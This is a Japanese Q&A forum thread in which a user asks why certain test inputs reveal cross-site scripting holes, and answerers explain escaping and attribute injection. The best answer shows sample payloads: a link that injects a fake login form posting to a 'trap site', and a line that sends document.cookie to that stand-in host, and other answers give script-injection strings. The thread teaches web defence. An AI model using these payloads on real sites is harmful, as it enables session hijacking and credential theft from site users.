クロスサイト・スクリプティング対策について

このQ&Aのポイント
  • クロスサイト・スクリプティング対策についての質問1:脆弱性の理由について
  • クロスサイト・スクリプティング対策についての質問2:alertメソッドの脆弱性について
回答を見る
  • ベストアンサー

クロスサイト・スクリプティング対策について

クロスサイト・スクリプティング対策について2つ質問します。 質問1 GET及びPOSTパラメータにおいて、 '>"><hr> とブラウザに入力した場合、エスケープ処理されずにブラウザが罫線を描くと、脆弱性ありと判断されるそうですが、理由は何でしょうか。もしかして、'>">は無意味な文字列なので、'>"><hr>から <hr>のみを自動判別して、ブラウザが罫線を描くのは危険という意味でしょうか。 質問2 GET及びPOSTパラメータにおいて、 Javascript:alert(document.cookie); とブラウザに入力すると、href属性に出力されると、脆弱性ありと判断されるそうですが、理由は何でしょうか。alertメソッドが、href属性に出力されるとは具体的にどういう意味なのかわかっていませんので、そこを含めて解説をお願いします。

  • Gorby
  • お礼率2% (16/553)
  • HTML
  • 回答数5
  • ありがとう数0

質問者が選んだベストアンサー

  • ベストアンサー
  • JaneDue
  • ベストアンサー率75% (263/350)
回答No.5

質問1; No2さんの通り、'>"><hr> はタグが有効か簡単に確認する方法というだけで、<hr>に特に意味はありません。。 <hr>が表示される、つまり「タグや引用符が処理されていない」ということは、「そのページを改竄できる」ということを意味します。HTML部品を勝手に挿入される、といった方が分かりやすいかも知れません。 例えば、悪意者がブログで勝手にあなたのサイトを紹介し <a href="http://あなたのサイト/フォーム.php?name=></form> <form action='http://罠サイト/IDget.php'> ID<input name='id'>PASS<input name='passwd'>"> [このサイトがおすすめ] </a> こんな感じで不正なタグ入りのクエリ付きリンクを張られます。 (</form>で正規のformは無理やり終了、続いて不正なフォームを挿入している) これを誰かがクリックすると「その利用者には改竄されたあたなのサイト」が表示されます。 他 display:none 等で正規のformは非表示にされ、しかも「 URLはあなたのサイトのまま 」なので、利用者はまず気付かずに罠サイトに送信してしまいます。カード情報や個人情報だと被害は甚大です。 質問2; alert()の方も、単にJavaScriptの可否を簡単に確認する方法、というだけです。 「alert()が動作する」ということは、大抵「JavaScriptの挿入可」ですので例えば location.href="http://罠サイト/get.php?cookie="+document.cookie; なら分かりやすいでしょうか。悪意のサーバ宛てにその利用者のクッキーを送信してしまいます。 クッキーには自動ログインの為の値やセッションIDが入っている事が多く、なりすましに利用されます。 実際には <img src=~とかで目に見えないところで送信されたり、あるいは <script src='~/xss.js'>などで不正なJavaScriptを背後で実行されるかも知れません。 ※Q1,2共に、あなたのサイトそのものが改竄されるわけではなく、「罠リンクを踏んで来訪した利用者に、正しいURLのままで、改竄されたページが表示される」ということです。 セキュリティ本1冊目を通されることをお勧めします。 徳丸 浩氏の 「安全なWebアプリケーションの作り方」が実際の手口も掲載され理解しやすくお勧めです。

その他の回答 (4)

回答No.4

質問2についてはわかりません。 javascriptをフィールドに入力しても、実行されることはないはずです。 ブラウザのアドレス欄に入力された場合に、スクリプトが実行されるかどうか(ブラウザとバージョンによる)という話は知っていますが。

回答No.3

入力フォームを持つページで、入力途中に何らかの操作をしても、入力中のデータが消えないようになっているものがありますよね。 例えば、名前・住所・電話番号と入力する場合に、住所の部分は郵便番号を送信すると大まかな住所が表示されて、あとは番地とか細かい部分のみの入力で済むようなものがあります。その時に、先に入力した名前を消さないために、サーバー側では送信された名前のデータを入力欄の初期値として設定しています。 そのような仕組みをつくるために、<input>タグで入力された内容を再び<input>タグのvalueにいれることがあります。 その部分で、特定文字のエスケープを行っていない場合に、脆弱性ありとされます。 <input type='text' name='username'> という欄に「山田太郎」と入力しておくと、ページが更新されるときに <input type='text' name='username' value='山田太郎'> として、「山田太郎」が入力された状態を再現しているような場合、この欄に「'><script>alert('Error!');</script><input type='hidden」と入力すると、 <input type='text' name='username' value=''><script>alert('Error!');</script><input type='hidden'> という記述になり、スクリプトが実行されてしまうのです。

回答No.2

脆弱性があるかどうかの判断をしているだけです。脆弱性がある場合、同様の手口で、 ' onfocus='javascript:... とか '><script>...</script><input type='hidden なんて形でスクリプトを埋め込むことなんかも可能だということです。

Gorby
質問者

補足

すみません、 <input type="text" name="tmp" value="test"> というHTML文がWebに含まれる場合に、testとWeb入力画面から手入力すると、タグの一部が壊されて、タグが <input type="text" name="tmp" value=" となってしまうという意味でしょうか?(外部手入力でプログラムが破壊されるというのはあまり聞かないもので確認をさせてください、、) あと、下記の回答はご存じないでしょうか。 質問2 GET及びPOSTパラメータにおいて、 Javascript:alert(document.cookie); とブラウザに入力すると、href属性に出力されると、脆弱性ありと判断されるそうですが、alertメソッドが、href属性に出力されるとは具体的にどういう意味なのでしょうか。

回答No.1

入力された文字列を初期値として表示するものがある場合などを考えればわかりやすいでしょう。 「test」と入力されたときに、 <input type="text" name="tmp" value="test"> というタグがページに含まれるとして、「'>"><hr>」だとどうなるかというと、 <input type="text" name="tmp" value="'>"><hr>" となって、<hr>が文字列データではなくタグとして認識されます。「'>」があるのは、value=がシングルクォートで記述されている場合にも有効になるようにするためです。 もちろん、ちゃんとエスケープされていれば、こんなことは起こりません。

Gorby
質問者

補足

すみません、この脆弱性は GET及びPOSTパラメータにおいて、 '>"><hr> と入力されると、Webページ上に意図せざる罫線が引かれてしまうということでしょうか? たいした被害ではない気もしますが、、

関連するQ&A

  • get と post の使い分け

    method の get と post はどのように使い分ければいいのでしょうか。 getは (1)URLがブラウザに保存される (2)ブラウザにURLがパラメータ付きで表示される (3)パラメータの長さに上限がある。 postはgetの逆。 という知識はあります。 以下の場合はpostを使用するという考えでよろしいのでしょうか。 ・パラメータを表示させたくない ・ブラウザの「戻る」は使用させたくない また、セキュリティ上、getだとパラメータが表示されてしまうこと以外に何か問題があるのでしょうか。

    • ベストアンサー
    • HTML
  • クロスサイトスクリプティングの対策について

    まだあまり知識がありませんが、仕事でWebサーバ(ホームページ)の管理をしています。 最近、ホームページ内に掲示板を設けたのですが、クロスサイトスクリプティング対策が必要であると 同僚に言われました。 検索で出てきたページを見るとperlプログラム(.prlファイル?)内を書き換えるような事が 書かれていますが、どの部分をどう修正すれば良いか分かりません。 検索したページで修正するように書かれていたものが、掲示板で使用しているファイルを見ると、 perlプログラム(.prlファイル?)ではなくcgiプログラム(.cgiファイル)を修正するようにも思えるのですが、 どうなのでしょうか。 お分かりになる方いらっしゃいましたら、宜しくお願い致します。

  • jQuery Ajaxでクロスドメイン通信

    jQuery Ajaxでクロスドメイン通信をやりたいのです以下の質問について教えて下さい。 AjaxからPHP(別ドメイン)にデータをPOSTで投げたいです。 PHPファイルがあるディレクトリはBasic認証してあります。 質問1. AjaxのdataTypeオプションは、PHPからjQueryが受け取るレスポンスのデータタイプのことですか? それともjQueryからPHPからにデータを投げる場合にもこのタイプ指定で何か変わるのでしょうか? 質問2. クロスドメイン通信をdataTypeがjsonpじゃないとクロスドメイン通信はできないのでしょうか? 質問3. dataTypeがjsonpのとき、jQueryから投げるURLの末尾に?data=hogehogeのようにパラメータが付きます。 typeオプションをPOSTにしているのにGETのようにパラメータが付くのはなぜでしょうか? これのせいで、数千文字のパラメータをPOSTできずGETの文字数制限でエラーになってしまいます。 どれは一つでもおわかりでしたらお教え下さい。 よろしくお願い致します。

  • CGIでGETで送信するパラメータの最大長が知りたいのです。

    CGIでGETで送信するパラメータの最大長が知りたいのです。 ブラウザ(クライアント)毎に違うのでしょうか、 それとも、CGIはPerlを使っているのですが、サーバー側の仕様になるのでしょうか? あと、index.cgi[ここからパラメータとして扱われる??? ?, &もパラメータサイズに含まれるのでしょうか? 結構長いパラメータをGETで送信しないといけなくて、たとえば携帯やPDA(ザウルスSL-C860)など大丈夫かなと心配しています。 POSTは無制限でしたよね? でも、今回は必ずGETでないといけませんので・・・

    • 締切済み
    • CGI
  • PHP

    新規登録ボタンを押したらパラメータを取得しろといわれたのですがまったく言っている意味がわかりません input.hiddenでGETでもPOSTでいいといわれたのですが 初歩的な質問だと思いますがすいません 知恵を貸してください

    • ベストアンサー
    • PHP
  • クロスサイトスクリプティングについて

    情報の勉強超初心者です。 教科書に 「標的となるサイトに対して不正なスクリプトを含んだデータを送信させるよう利用者を誘導し、不正なスクリプトを利用者ノブラウザ上で実行させる攻撃」とあります。 しろうとの質問ですみません。 1.これはよく 会社で会社の情報システム部から 発信者のわからないメールは 開かないように とか 添付ファイルをダウンロードしないようになどの 指示と関連しているでしょうか。 2.言葉じりですが 教科書の「利用者を誘導」というのは 具体的にはどのようなメール内容になるのでしょうか。 3.不正なスクリプトというのはどのようなもので どのような害を およぼすものでしょうか。 4.対応策はどのようなものがあるのでしょうか。 よろしくお願いします。

  • クロスサイトスクリプティングについて

    お聞きしたい事があるのですが、MYSQLを使ってデータを表示させてるんですが、その際htmlspecialchars()を使ってHTMLタグをエスケープしろって先輩に言われました。(本当にデータを表示させてるだけです ) なぜ?なのかずっと考えても分かりませんでした。 どなたか回答お願いします。

    • ベストアンサー
    • PHP
  • クロスサイトスクリプティング

    何冊か本やサイトを読んだのですが、いまひとつ仕組みが分かりません。 教えてもらえないでしょうか。 悪意のあるサイトを閲覧したときに、ブラウザにスクリプトを送り込まれる、と言うのは分かりますが、 そのスクリプトが標的サイトに転送されるときの仕組みが分かりません。 送り込まれたスクリプトは、クッキーとかリファロなどには関係なく、ウィルスのようにどこかに保存され、 特定の標的サイトを開いて入力データを送ることに、反応して転送されるのでしょうか。 スクリプトが標的サイトのデータベースを経由してくるのならば、 そのDBもSQLインジェクションを送り込まれて、いつ改ざんされてもおかしくない状況にあるということですか。 プレースホルダーの対策を取っていても、サニタイジングをしていないDBが存在するとは思えません。 これ以上本を読んでも分かりそうもありません。 よろしくお願いいたします。

  • IISのログに出力される「GET」と「POST」の意味

    IISのログに出力される「GET」と「POST」の意味 IISのログに出力される「GET」と「POST」はどういう意味なのでしょうか。 「GET」はサーバーからクライアントに送信した画面で 「POST」はクライアントがsubmitした画面のことなのでしょうか? aspでできているwebシステムを表示したログを解析しています。

  • 自サイトから外部サイトにPOSTでジャンプする方法

    Perl/CGIの質問です。 自サイトのCGIでいろいろな処理(データベースのインサートなど)を行った後、 最後に外部サイトにPOSTで移動したいのです。 locationの場合、GetなのでNGです。(postしか外部サイトがパラメーターを受け取ってくれません。) 私の知る限りSocketでもpostできるということはわかったのですが、同時に移動は できませんよね?内部処理としてPOSTできるだけですよね? 簡単に言えばlocationをPOSTで送りたいということです。 どなたかよい方法をご教授いただけますようお願いいたします。

    • ベストアンサー
    • CGI

専門家に質問してみよう